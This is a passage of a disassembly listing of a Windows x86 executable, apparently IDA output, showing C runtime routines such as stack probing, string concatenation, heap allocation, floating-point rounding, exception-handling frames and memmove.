CODE XREF: sub_417AB0+11j ; sub_417AB0+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_417B0D: ; CODE XREF: sub_417AB0+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_417B17: ; CODE XREF: sub_417AB0+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_417B21: ; CODE XREF: sub_417AB0+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_417AB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417B30 proc near ; CODE XREF: sub_402688+8p ; sub_402B84+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_417B50 loc_417B3C: ; CODE XREF: sub_417B30+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_417B3C loc_417B50: ; CODE XREF: sub_417B30+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_417B30 endp ; =============== S U B R O U T I N E ======================================= sub_417B5F proc near ; CODE XREF: sub_4029E9+7Ap ; sub_4029E9+8Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, eax cmp word ptr [eax], 0 jz short loc_417B73 loc_417B6B: ; CODE XREF: sub_417B5F+12j inc ecx inc ecx cmp word ptr [ecx], 0 jnz short loc_417B6B loc_417B73: ; CODE XREF: sub_417B5F+Aj mov edx, [esp+arg_4] push esi loc_417B78: ; CODE XREF: sub_417B5F+26j mov si, [edx] mov [ecx], si inc ecx inc ecx inc edx inc edx test si, si jnz short loc_417B78 pop esi retn sub_417B5F endp ; =============== S U B R O U T I N E ======================================= sub_417B89 proc near ; CODE XREF: sub_402B84+220p ; sub_402DD7+C1p ... arg_0 = dword ptr 4 push dword_48A074 push [esp+4+arg_0] call sub_417B9B pop ecx pop ecx retn sub_417B89 endp ; =============== S U B R O U T I N E ======================================= sub_417B9B proc near ; CODE XREF: sub_417B89+Ap ; sub_4185F5+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_417BC4 loc_417BA2: ; CODE XREF: sub_417B9B+27j push [esp+arg_0] call sub_417BC7 test eax, eax pop ecx jnz short locret_417BC6 cmp [esp+arg_4], eax jz short locret_417BC6 push [esp+arg_0] call sub_41AB54 test eax, eax pop ecx jnz short loc_417BA2 loc_417BC4: ; CODE XREF: sub_417B9B+5j xor eax, eax locret_417BC6: ; CODE XREF: sub_417B9B+13j ; sub_417B9B+19j retn sub_417B9B endp ; =============== S U B R O U T I N E ======================================= sub_417BC7 proc near ; CODE XREF: sub_417B9B+Bp arg_0 = dword ptr 4 mov eax, dword_48B688 push esi mov esi, [esp+4+arg_0] cmp eax, 3 jnz short loc_417BEB cmp esi, dword_48B680 ja short loc_417C1D push esi call sub_41B0DD test eax, eax pop ecx jz short loc_417C1D pop esi retn ; --------------------------------------------------------------------------- loc_417BEB: ; CODE XREF: sub_417BC7+Dj cmp eax, 2 jnz short loc_417C1D mov eax, [esp+4+arg_0] test eax, eax jz short loc_417C00 lea esi, [eax+0Fh] and esi, 0FFFFFFF0h jmp short loc_417C03 ; --------------------------------------------------------------------------- loc_417C00: ; CODE XREF: sub_417BC7+2Fj push 10h pop esi loc_417C03: ; CODE XREF: sub_417BC7+37j cmp esi, dword_43B7E4 ja short loc_417C2A mov eax, esi shr eax, 4 push eax call sub_41BB80 test eax, eax pop ecx jnz short loc_417C39 jmp short loc_417C2A ; --------------------------------------------------------------------------- loc_417C1D: ; CODE XREF: sub_417BC7+15j ; sub_417BC7+20j ... test esi, esi jnz short loc_417C24 push 1 pop esi loc_417C24: ; CODE XREF: sub_417BC7+58j add esi, 0Fh and esi, 0FFFFFFF0h loc_417C2A: ; CODE XREF: sub_417BC7+42j ; sub_417BC7+54j push esi push 0 push dword_48B684 call near ptr 26F0000h nop loc_417C39: ; CODE XREF: sub_417BC7+52j pop esi retn sub_417BC7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417C3B proc near ; CODE XREF: sub_402DD7+10Ep ; sub_402DD7+116p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_0] test esi, esi jz short loc_417CA1 mov eax, dword_48B688 cmp eax, 3 jnz short loc_417C67 push esi call sub_41AD89 pop ecx test eax, eax push esi jz short loc_417C93 push eax call sub_41ADB4 pop ecx pop ecx jmp short loc_417CA1 ; --------------------------------------------------------------------------- loc_417C67: ; CODE XREF: sub_417C3B+14j cmp eax, 2 jnz short loc_417C92 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_4] push eax push esi call sub_41BAE4 add esp, 0Ch test eax, eax jz short loc_417C92 push eax push [ebp+arg_0] push [ebp+var_4] call sub_41BB3B add esp, 0Ch jmp short loc_417CA1 ; --------------------------------------------------------------------------- loc_417C92: ; CODE XREF: sub_417C3B+2Fj ; sub_417C3B+44j push esi loc_417C93: ; CODE XREF: sub_417C3B+20j push 0 push dword_48B684 call near ptr 26E033Bh nop loc_417CA1: ; CODE XREF: sub_417C3B+Aj ; sub_417C3B+2Aj ... pop esi leave retn sub_417C3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_417CA4(double) sub_417CA4 proc near ; CODE XREF: sub_403FE6+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_439560 call sub_41C77D fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_417D2A call sub_41C645 pop ecx test eax, eax pop ecx jle short loc_417D0D cmp eax, 2 jle short loc_417CFF cmp eax, 3 jnz short loc_417D0D fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_41BF55 add esp, 10h jmp short loc_417D6F ; --------------------------------------------------------------------------- loc_417CFF: ; CODE XREF: sub_417CA4+3Fj push esi push ebx call sub_41C77D fld [ebp+arg_0] pop ecx pop ecx jmp short loc_417D6F ; --------------------------------------------------------------------------- loc_417D0D: ; CODE XREF: sub_417CA4+3Aj ; sub_417CA4+44j fld [ebp+arg_0] fadd dbl_4246A8 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_417D67 ; --------------------------------------------------------------------------- loc_417D2A: ; CODE XREF: sub_417CA4+2Fj call sub_41C60A fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_417D4D loc_417D3F: ; CODE XREF: sub_417CA4+ACj push esi push ebx call sub_41C77D fld [ebp+var_8] pop ecx pop ecx jmp short loc_417D6F ; --------------------------------------------------------------------------- loc_417D4D: ; CODE XREF: sub_417CA4+99j test bl, 20h jnz short loc_417D3F fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_417D67: ; CODE XREF: sub_417CA4+84j call sub_41BFA8 add esp, 1Ch loc_417D6F: ; CODE XREF: sub_417CA4+59j ; sub_417CA4+67j ... pop esi pop ebx leave retn sub_417CA4 endp ; =============== S U B R O U T I N E ======================================= sub_417D73 proc near ; CODE XREF: ___:00419AC1p ; DATA XREF: ___:off_43956Co call sub_417D8B call sub_41C846 mov dword_489FF4, eax call sub_41C7F6 fnclex retn sub_417D73 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_417D8B proc near ; CODE XREF: sub_417D73p mov eax, offset sub_41CC34 mov off_43B904, offset sub_41C8C9 mov off_43B900, eax mov off_43B908, offset sub_41C92F mov off_43B90C, offset sub_41C86F mov off_43B910, offset sub_41C917 mov off_43B914, eax retn sub_417D8B endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417DC4 proc near ; CODE XREF: sub_403FE6+1Bp ; sub_403FE6+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_417DC4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_417DEB(double) sub_417DEB proc near ; CODE XREF: sub_404032+82p ; ___:00404CF0p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_439578 call sub_41C77D fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_417E71 call sub_41C645 pop ecx test eax, eax pop ecx jle short loc_417E54 cmp eax, 2 jle short loc_417E46 cmp eax, 3 jnz short loc_417E54 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_41BF55 add esp, 10h jmp short loc_417EB6 ; --------------------------------------------------------------------------- loc_417E46: ; CODE XREF: sub_417DEB+3Fj push esi push ebx call sub_41C77D fld [ebp+arg_0] pop ecx pop ecx jmp short loc_417EB6 ; --------------------------------------------------------------------------- loc_417E54: ; CODE XREF: sub_417DEB+3Aj ; sub_417DEB+44j fld [ebp+arg_0] fadd dbl_4246A8 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_417EAE ; --------------------------------------------------------------------------- loc_417E71: ; CODE XREF: sub_417DEB+2Fj call sub_41C60A fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_417E94 loc_417E86: ; CODE XREF: sub_417DEB+ACj push esi push ebx call sub_41C77D fld [ebp+var_8] pop ecx pop ecx jmp short loc_417EB6 ; --------------------------------------------------------------------------- loc_417E94: ; CODE XREF: sub_417DEB+99j test bl, 20h jnz short loc_417E86 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_417EAE: ; CODE XREF: sub_417DEB+84j call sub_41BFA8 add esp, 1Ch loc_417EB6: ; CODE XREF: sub_417DEB+59j ; sub_417DEB+67j ... pop esi pop ebx leave retn sub_417DEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417EBA proc near ; CODE XREF: ___:0041D116p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_417EBA endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_417EEE proc near ; CODE XREF: sub_41D256+199p ; sub_41D41A+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_417EEE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_417EF5 proc near ; CODE XREF: sub_41D256+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_417EF5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_417EFC proc near ; CODE XREF: sub_4180AE+5Cp ; sub_41D0A5:loc_41D0D6p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_417F24 push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_422A4C sub_417EFC endp ; --------------------------------------------------------------------------- loc_417F24: ; DATA XREF: sub_417EFC+11o mov eax, [ebp+0Ch] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+0Ch] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp-8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 ; --------------------------------------------------------------------------- loc_417F4B: ; CODE XREF: ___:004230ECj ; ___:00423109j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_41CCAA add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417F81 proc near ; CODE XREF: sub_41D120+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_417FD5 inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_41D4B0 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_417F81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417FD5 proc near ; DATA XREF: sub_417F81+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_41CCAA add esp, 20h pop ebp retn sub_417FD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417FFA proc near ; CODE XREF: sub_41CEEC+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_4180AE mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_418080 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_48A098 pop ecx pop ecx and [ebp+var_34], 0 loc_418080: ; DATA XREF: sub_417FFA+3Co cmp [ebp+var_4], 0 jz short loc_41809D mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_4180A6 ; --------------------------------------------------------------------------- loc_41809D: ; CODE XREF: sub_417FFA+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_4180A6: ; CODE XREF: sub_417FFA+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_417FFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4180AE proc near ; DATA XREF: sub_417FFA+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_4180D1 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_41811E ; --------------------------------------------------------------------------- loc_4180D1: ; CODE XREF: sub_4180AE+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_41CCAA add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_41810F push [ebp+arg_0] push [ebp+arg_4] call sub_417EFC ; --------------------------------------------------------------------------- loc_41810F: ; CODE XREF: sub_4180AE+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_41811E: ; CODE XREF: sub_4180AE+21j pop edi pop esi pop ebx pop ebp retn sub_4180AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418123 proc near ; CODE XREF: sub_41CD45+C6p ; sub_41CEEC+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_41817A loc_418141: ; CODE XREF: sub_418123+52j cmp esi, 0FFFFFFFFh jnz short loc_41814B call sub_41D552 loc_41814B: ; CODE XREF: sub_418123+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_418160 cmp ecx, [eax+8] jle short loc_418165 loc_418160: ; CODE XREF: sub_418123+36j cmp esi, 0FFFFFFFFh jnz short loc_418171 loc_418165: ; CODE XREF: sub_418123+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_418171: ; CODE XREF: sub_418123+40j cmp [ebp+arg_4], 0 jge short loc_418141 mov eax, [ebp+var_4] loc_41817A: ; CODE XREF: sub_418123+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_41818E cmp esi, eax jbe short loc_418193 loc_41818E: ; CODE XREF: sub_418123+65j call sub_41D552 loc_418193: ; CODE XREF: sub_418123+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_418123 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4181A0 proc near ; CODE XREF: sub_41F774+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset sub_4181B8 push [ebp+arg_0] call sub_422A4C sub_4181A0 endp ; =============== S U B R O U T I N E ======================================= sub_4181B8 proc near ; DATA XREF: sub_4181A0+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4181B8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4181C0 proc near ; DATA XREF: sub_4181E2+Ao ; sub_41824A+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_4181E1 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_4181E1: ; CODE XREF: sub_4181C0+10j retn sub_4181C0 endp ; =============== S U B R O U T I N E ======================================= sub_4181E2 proc near ; CODE XREF: sub_41D1C6+Dp ; sub_41F774+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_4181C0 push large dword ptr fs:0 mov large fs:0, esp loc_4181FF: ; CODE XREF: sub_4181E2:loc_41823Aj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_41823C cmp esi, [esp+1Ch+arg_4] jz short loc_41823C lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_41823A push 101h mov eax, [ebx+esi*4+8] call sub_418276 call dword ptr [ebx+esi*4+8] loc_41823A: ; CODE XREF: sub_4181E2+44j jmp short loc_4181FF ; --------------------------------------------------------------------------- loc_41823C: ; CODE XREF: sub_4181E2+2Aj ; sub_4181E2+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_4181E2 endp ; =============== S U B R O U T I N E ======================================= sub_41824A proc near ; CODE XREF: sub_41D1E6+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_4181C0 jnz short locret_41826C mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_41826C mov eax, 1 locret_41826C: ; CODE XREF: sub_41824A+10j ; sub_41824A+1Bj retn sub_41824A endp ; =============== S U B R O U T I N E ======================================= sub_41826D proc near ; CODE XREF: sub_41D4B0+1Ep ; sub_41D4B0+40p push ebx push ecx mov ebx, offset dword_43957C jmp short loc_418280 sub_41826D endp ; =============== S U B R O U T I N E ======================================= sub_418276 proc near ; CODE XREF: sub_4181E2+4Fp ; sub_41F774+78p push ebx push ecx mov ebx, offset dword_43957C mov ecx, [ebp+8] loc_418280: ; CODE XREF: sub_41826D+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_418276 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418290 proc near ; CODE XREF: sub_404032+5p ; sub_4041D4+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_418290 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4182AF proc near ; CODE XREF: sub_404667+26p ; ___:004227E2p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_417C3B pop ecx retn sub_4182AF endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4182C0 proc near ; CODE XREF: sub_4046D8+3Ap ; sub_41ADB4+2EFp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_4182E0 cmp edi, eax jb loc_418458 loc_4182E0: ; CODE XREF: sub_4182C0+16j test edi, 3 jnz short loc_4182FC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41831C rep movsd jmp off_418408[edx*4] ; --------------------------------------------------------------------------- loc_4182FC: ; CODE XREF: sub_4182C0+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_418314 and eax, 3 add ecx, eax jmp dword ptr loc_41831C+4[eax*4] ; --------------------------------------------------------------------------- loc_418314: ; CODE XREF: sub_4182C0+46j jmp dword ptr loc_418418[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41831C: ; CODE XREF: sub_4182C0+31j ; sub_4182C0+8Ej ... jmp off_41839C[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41832C+4 dd offset loc_41835C ; --------------------------------------------------------------------------- loc_41832C: ; DATA XREF: sub_4182C0+64o add byte ptr [ebx-2EDCFFBFh], 8Ah push es mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41831C rep movsd jmp off_418408[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41835C: ; DATA XREF: sub_4182C0+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41831C rep movsd jmp off_418408[edx*4] ; --------------------------------------------------------------------------- align 10h and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41831C rep movsd jmp off_418408[edx*4] ; --------------------------------------------------------------------------- align 4 off_41839C dd offset loc_4183FF ; DATA XREF: sub_4182C0:loc_41831Cr dd offset loc_4183EC dd offset loc_4183E4 dd offset loc_4183DC dd offset loc_4183D4 dd offset loc_4183CC dd offset loc_4183C4 dd offset loc_4183BC ; --------------------------------------------------------------------------- loc_4183BC: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_4183C4: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_4183CC: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_4183D4: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_4183DC: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_4183E4: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_4183EC: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4183FF: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0:off_41839Co jmp off_418408[edx*4] ; --------------------------------------------------------------------------- align 4 off_418408 dd offset loc_418418 ; DATA XREF: sub_4182C0+35r ; sub_4182C0+92r ... dd offset loc_418420 dd offset loc_41842C dd offset loc_418440 ; --------------------------------------------------------------------------- loc_418418: ; CODE XREF: sub_4182C0+35j ; sub_4182C0+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_418420: ; CODE XREF: sub_4182C0+35j ; sub_4182C0+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41842C: ; CODE XREF: sub_4182C0+35j ; sub_4182C0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_418440: ; CODE XREF: sub_4182C0+35j ; sub_4182C0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_418458: ; CODE XREF: sub_4182C0+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41848C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_418480 std rep movsd cld jmp off_4185A0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_418480: ; CODE XREF: sub_4182C0+1B1j ; sub_4182C0+208j ... neg ecx jmp off_418550[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41848C: ; CODE XREF: sub_4182C0+1A6j mov eax, edi mov edx, 